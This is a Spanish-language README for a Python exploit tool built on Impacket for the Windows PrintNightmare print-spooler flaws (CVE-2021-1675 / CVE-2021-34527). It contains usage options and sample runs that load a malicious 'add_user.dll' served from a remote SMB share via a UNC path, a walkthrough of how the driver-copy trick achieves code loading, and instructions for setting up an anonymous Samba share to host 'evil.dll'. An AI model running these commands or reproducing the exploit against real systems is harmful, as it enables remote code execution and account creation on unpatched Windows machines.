
Implementación en Python para PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
Implementación en Python para PrintNightmare (CVE-2021-1675 / CVE-2021-34527) usando Impacket estándar.
$ pip3 install impacket
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
usage: printnightmare.py [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address]
[-name driver name] [-env driver name] [-path driver path] [-dll driver dll] [-check] [-list] [-delete]
target
PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
positional arguments:
target [[dominio/]usuario[:contraseña]@]<nombre del objetivo o dirección>
optional arguments:
-h, --help muestra este mensaje de ayuda y sale
-debug Activa la salida DEBUG
-no-pass no pedir contraseña (útil para -k)
-k Usa autenticación Kerberos. Obtiene credenciales del archivo ccache (KRB5CCNAME) basado en los parámetros del objetivo. Si no se
encuentran credenciales válidas, usará las especificadas en la línea de comandos
-dc-ip ip address Dirección IP del controlador de dominio. Si se omite, usará la parte del dominio (FQDN) especificada en el parámetro target
connection:
-port [puerto destino]
Puerto destino para conectar a la tubería con nombre MS-RPRN
-target-ip ip address
Dirección IP de la máquina objetivo. Si se omite, usará lo que se haya especificado como target. Esto es útil cuando target es el
nombre NetBIOS y no se puede resolver
authentication:
-hashes LMHASH:NTHASH
Hashes NTLM, formato es LMHASH:NTHASH
driver:
-name driver name Nombre para el controlador
-env driver name Entorno para el controlador
-path driver path Ruta del controlador
-dll driver dll Ruta a la DLL
modes:
-check Comprueba si el objetivo es vulnerable
-list Lista los controladores de impresora existentes
-delete Elimina un controlador de impresora
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL
$ ./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: 'C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\add_user.dll'
[*] Loading DLL
[*] Successfully loaded DLL
Nótese que el ejemplo de DLL local no abusa de CVE-2021-34527 para copiar la DLL.
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' -name 'My Printer Driver' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
[*] Driver name: 'My Printer Driver'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL
$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
Name: Microsoft XPS Document Writer v4
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_f340cb58fcd23202\MXDW.gpd
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: Microsoft Print To PDF
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_80184dcbef6775bc\MPDW-PDC.xml
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: My Printer Driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\UNIDRV.DLL
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Version: 3
----------------------------------------------------------------
Name: Microsoft Shared Fax Driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\FXSDRV.DLL
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Version: 3
----------------------------------------------------------------
Name: Microsoft enhanced Point and Print compatibility driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version: 3
----------------------------------------------------------------
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Target appears to be vulnerable!
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[!] Target does not appear to be vulnerable
$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Enumerating printer drivers
Name: Microsoft XPS Document Writer v4
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_8bc7809b71930efc\MXDW.gpd
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: Microsoft Print To PDF
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_6dc3549941ff1a57\MPDW-PDC.xml
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: Microsoft enhanced Point and Print compatibility driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version: 3
----------------------------------------------------------------
Puede requerir privilegios administrativos.
$ ./printnightmare.py -delete -name 'Microsoft XPS Document Writer v5' 'administrator:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Deleted printer driver!
PrintNightmare consta de dos CVE, CVE-2021-1675 / CVE-2021-34527.
Un usuario no administrativo puede agregar un nuevo controlador de impresora. Esta vulnerabilidad se corrigió permitiendo solo a los administradores agregar nuevos controladores de impresora. Una versión parcheada del spooler de impresión devolverá RPC_E_ACCESS_DENIED (Código: 0x8001011b) si un no administrador intenta agregar un nuevo controlador de impresora.
Al agregar un nuevo controlador de impresora, el parámetro pDataFile en el DRIVER_CONTAINER permite rutas UNC. La DLL especificada en pDataFile no se cargará, pero se copiará a una ruta local, lo que permite crear un nuevo controlador de impresora con el parámetro pConfigFile apuntando a la ruta local que cargará la DLL. Una versión parcheada del spooler de impresión devolverá ERROR_INVALID_PARAMETER (Código: 0x57).
Solo se necesita CVE-2021-1675 si la DLL maliciosa ya está ubicada en el objetivo.
Para PrintNightmare, si la DLL no es una ruta local, se puede usar CVE-2021-34527 para obtener la DLL a través de rutas UNC. Por esa razón, es necesario servir la DLL a través de SMB. Si no está familiarizado con SMB y UNC, lea la siguiente subsección.
Al crear un nuevo controlador de impresora, la DLL en el parámetro pDataFile no se cargará por razones de seguridad. Sin embargo, se copiará a C:\Windows\system32\spool\drivers\x64\3\. Luego, podríamos crear un nuevo controlador de impresora que use pConfigFile (que cargará la DLL) con la ruta local. Sin embargo, la DLL está en uso por el primer controlador de impresora al crear el segundo controlador de impresora. En su lugar, podríamos sobrescribir el primer controlador de impresora, lo que hará que las DLL del controlador se copien a C:\Windows\system32\spool\drivers\x64\3\old\<I>\, donde <I> se incrementa por cada DLL. Ahora podemos crear un tercer controlador de impresora que use la ruta local C:\Windows\system32\spool\drivers\x64\3\old\<I>\, ya que la DLL ya no está en uso. Ahora solo es cuestión de adivinar <I>, que comenzará a incrementarse desde 1.
Tenga en cuenta que la DLL mantendrá su nombre de archivo localmente, por lo que si inicialmente ejecuta el exploit con foo.dll y se guarda en C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll, y luego cambia el contenido de foo.dll localmente y vuelve a ejecutar el exploit, y ahora se guarda en C:\Windows\system32\spool\drivers\x64\3\old\5\foo.dll, entonces se usará el foo.dll original, ya que está ubicado en C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll. En su lugar, simplemente cambie el nombre del archivo si cambia el contenido de la DLL.
En resumen, una ruta UNC es una ruta a un archivo o carpeta en una red en lugar de un archivo local, y contiene el nombre del servidor y la ruta. Por ejemplo, la ruta UNC \\10.0.0.2\files\foo.txt es un archivo foo.txt que se sirve desde el recurso compartido files del servidor 10.0.0.2. Normalmente, un recurso compartido se sirve a través de SMB, pero también se admite WebDAV. Para crear un recurso compartido SMB en Linux, la forma más fácil y confiable es usar el paquete Samba.
Para instalar Samba con apt:
$ sudo apt install samba
Edite el archivo /etc/samba/smb.conf y agregue lo siguiente al final del archivo:
[smb]
comment = Samba
path = /tmp/share
guest ok = yes
read only = yes
browsable = yes
force user = nobody
Esto creará un nuevo recurso compartido llamado smb y servirá los archivos dentro de /tmp/share. Permite acceso anónimo, y se usará el usuario local nobody para navegar por los archivos.
Luego inicie el servicio Samba ejecutando:
$ sudo service smbd start
Suponga que su máquina Linux tiene la IP 192.168.1.100 y desea servir evil.dll, entonces la ruta UNC en este escenario será \\192.168.1.100\smb\evil.dll.